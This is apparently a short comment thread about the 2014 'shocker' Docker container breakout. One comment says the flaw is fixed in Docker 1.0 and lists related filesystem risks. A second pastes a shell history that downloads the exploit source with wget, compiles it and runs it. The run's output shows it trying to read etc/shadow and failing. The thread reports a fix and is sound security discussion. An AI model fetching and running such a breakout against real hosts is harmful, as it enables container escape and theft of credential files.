3 ms·

Apparently this is already fixed in Docker 1.0: Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available. Other FS-related threats to cont

Apparently this is already fixed in Docker 1.0: Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available. Other FS-related threats to container based VMM's that have been discussed: - subvolume related FS operations (snapshots etc) - FS ioctl's that accept FS-handles as well (XFS) - CAP_DAC_READ_SEARCH also defeats chroot and other bind-mount containers (privileged LXC) - CAP_MKNOD might be a problem too (still available in docker 1.0) depending on the drivers available in the kernel Source: http://seclists.org/oss-sec/2014/q2/565 http://seclists.org/oss-sec/2014/q2/565

kvmosx 12y ago
Confirmed not working in Docker 1.0: root@377a6f4ab0a4:/# history 10 wget http://stealth.openwall.net/xSports/shocker.c 11 cc -Wall -std=c99 -O2 shocker.c -static 12 apt-get install build-essential 13 cc -Wall -std=c99 -O2 shocker.c -static 14 cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result 15 ls 16 ./shocker 17 shocker 18 nano a.out 19 cat a.out 20 ./a.out 21 history root@377a6f4ab0a4:/# ./a.out [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***] <enter> [*] Resolving 'etc/shadow' [-] open_by_handle_at: Operation not permitted root@377a6f4ab0a4:/# uname -r 3.14.1-tinycore64